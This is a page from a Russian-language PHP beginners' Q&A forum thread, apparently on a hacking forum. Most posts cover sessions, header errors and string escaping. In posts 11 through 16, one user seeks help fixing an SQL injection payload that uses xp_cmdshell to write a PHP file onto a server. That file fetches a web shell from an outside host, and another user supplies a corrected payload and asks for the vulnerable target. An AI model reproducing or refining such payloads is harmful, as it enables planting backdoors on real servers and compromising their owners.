[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. eLWAux

    eLWAux Elder - Старейшина

    Joined:
    15 Jun 2008
    Messages:
    860
    Likes Received:
    616
    Reputations:
    211
    PHP:
        if ( session_id() == '' ) {
          
    session_start();
        }
     
    1 person likes this.
  2. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    PHP:
     if (!session_id()) 
          
    session_start();     
    ! - не существует.
     
    2 people like this.
  3. KaZ@NoVa

    KaZ@NoVa Elder - Старейшина

    Joined:
    5 Jul 2008
    Messages:
    368
    Likes Received:
    438
    Reputations:
    -16
    Patronik
    session_start(); должна вызываться лишь 1 раз за выполнение скрипта. Если где-то include другого скрипта, то в том другом скрипте не должно быть session_start();
    А использовать сессии ТАК уже давно не принято - сейчас надо делать так:

    Примерно так вот
     
    1 person likes this.
  4. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    Хорошо, что ты один такой...

    Открываем мануал по операторам сравнения:
    http://ru2.php.net/manual/ru/language.operators.comparison.php

    Что же мы видим?
    То же самое я говорил несколькими постами выше.

    Специально поясню:
    1!=0 это true
    0!=0 это false
    -------
    "1"!=0 это true
    "1"!=1 это false - тип данных не учитывается
    -------
    "1"!==0 это true
    "1"!==1 это true - имеем типы данных разные

    И еще - по одному-единственному оператору присвоения (=) и его комбинированным вариантам (+=, *=, .= и т.д.) можешь почитать здесь:
    http://php.benscom.com/manual/ru/language.operators.assignment.php
     
    #10424 d_x, 12 Jun 2009
    Last edited: 12 Jun 2009
    3 people like this.
  5. Patronik

    Patronik Member

    Joined:
    16 Mar 2009
    Messages:
    111
    Likes Received:
    12
    Reputations:
    0
    Окей сделал я так :
    В первом файле создал сесию таким образом и присвоил $auth.
    session_start();
    $_SESSION['auth']=1;

    Во втором файле чтобы использовать переменную сесии написал так:
    <?php
    session_start();
    if (!isset($_SESSION['auth']) || $_SESSION['auth']!=1)
    {
    echo '<p>Доступ закрыт</p>
    <br><p><center><a href = "index.php">На главную</a></center></p>';
    exit;
    }
    ?>

    Браузер видает ошыбку
    Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at Z:\home\train.com\www\auth.php:9) in Z:\home\train.com\www\auth.php on line 31
     
  6. -JC-

    -JC- Member

    Joined:
    10 Mar 2009
    Messages:
    54
    Likes Received:
    18
    Reputations:
    11
    Читай http://phpfaq.ru/headers
     
  7. Trieg

    Trieg Elder - Старейшина

    Joined:
    26 Oct 2007
    Messages:
    82
    Likes Received:
    9
    Reputations:
    0
    Patronik, сунь в самое начало скрипта ob_start(); (а ошибка из за того что перед стартом сессии идет какой то вывод в браузер)
     
  8. Patronik

    Patronik Member

    Joined:
    16 Mar 2009
    Messages:
    111
    Likes Received:
    12
    Reputations:
    0
    Спасибо я только что из туда. Разобрался я с проблемой. Суть в том что команды header(), setcookie, session_start(), посилаються в заголовках. А если я до знака <? написал теги штмл то заголовки уже ушли и отослать их еще раз невозможно. Надо ставить создание сесии в самом начале страници чтобы команда послалась в заголовке, а не после того как заголовки уже пошли.
     
  9. Gin

    Gin Elder - Старейшина

    Joined:
    11 Sep 2008
    Messages:
    133
    Likes Received:
    7
    Reputations:
    4
    Нужно вывести символ $ как это сделать, а то php распознает это как переменную т.е.
    echo "$loliho";

    чтобы выводило
    $loliho
    а не воспринимало данное вырадение как вывод переменной $loliho.
    Спасибо
     
  10. L I G A

    L I G A Banned

    Joined:
    27 Jul 2008
    Messages:
    482
    Likes Received:
    380
    Reputations:
    49
    "\$" обозначает символ "$" чтоб следующий текст не был интерполирован как переменная.
     
    #10430 L I G A, 12 Jun 2009
    Last edited: 12 Jun 2009
    1 person likes this.
  11. diznt

    diznt Elder - Старейшина

    Joined:
    31 Jan 2008
    Messages:
    432
    Likes Received:
    164
    Reputations:
    -19
    copy('http://bugaga.zapto.org/shell.txt','shell.php')

    Как сделать так чтобы ковычки не замечала?
    Я в том смысле что у меня ошибку пишет при выполнении (именно мешают ковычки)
    Что делать? знак "\" перед ковычками не помогает(
     
  12. FireFenix

    FireFenix Elder - Старейшина

    Joined:
    3 Jun 2009
    Messages:
    390
    Likes Received:
    115
    Reputations:
    23
    Где оно замечает ковычки?
     
  13. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    diznt, а можно поконкретнее? Ты юзаешь багу? Если да, то там, скорее всего, стоят мэджики, которые ты никак не обойдешь.
     
  14. DVD_RW

    DVD_RW Banned

    Joined:
    27 Apr 2008
    Messages:
    0
    Likes Received:
    202
    Reputations:
    -36
    Кто поможет дописать парсер\граббер ? почти всё написано ... точнее код был , но сейчас с донором что то не в порядке
    контакты в пм или пишите в icq 45девять\девять3333 , +5 дам :)
     
  15. diznt

    diznt Elder - Старейшина

    Joined:
    31 Jan 2008
    Messages:
    432
    Likes Received:
    164
    Reputations:
    -19
    '; USE Master exec xp_cmdshell 'echo "<?php copy('http://bugaga.zapto.org/shell.txt','shell.php') ?>" > C:\AppServ\www\shell1.php';--

    Вроде через бд все это делаеться (дело все не в этом через что делаеться)

    дело в том что команда сама не может выполниться так как ковычки присуствуют и они закрывают консольную команду
     
  16. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    diznt, а что тебе мешает просто вместо одинарных двойные поставить и код изменить? Кста, это вообще хз что, а не код echo "<?php copy('http://bugaga.zapto.org/shell.txt','shell.php') ?>
    Code:
    '; USE Master exec xp_cmdshell '<? file_put_contents("shell.php",file_get_contents("http://bugaga.zapto.org/shell.txt")); ?>' > C:\AppServ\www\shell1.php';--
    Кста, скинь свою аську и уязвимость в пм, плз:)

    http://forum.antichat.ru/private.php?do=newpm&userid=59362
     
  17. diznt

    diznt Elder - Старейшина

    Joined:
    31 Jan 2008
    Messages:
    432
    Likes Received:
    164
    Reputations:
    -19
    Спасибо попробую... А то я совсем забыл cmd команды :D
     
  18. diznt

    diznt Elder - Старейшина

    Joined:
    31 Jan 2008
    Messages:
    432
    Likes Received:
    164
    Reputations:
    -19
    На сайте madnet.name/tools/madss/
    есть такая штука что забиваешь туда сайт а он тебе высвечивает нектрые файлы которые доступны для просмотра (думаю поняли мою мысль)
    Так вот как интересует откуда он это берет? (точнее откуда грабит)
     
    #10438 diznt, 13 Jun 2009
    Last edited: 13 Jun 2009
  19. -JC-

    -JC- Member

    Joined:
    10 Mar 2009
    Messages:
    54
    Likes Received:
    18
    Reputations:
    11
    Из Google
     
  20. diznt

    diznt Elder - Старейшина

    Joined:
    31 Jan 2008
    Messages:
    432
    Likes Received:
    164
    Reputations:
    -19
    Подробнее
     
Thread Status:
Not open for further replies.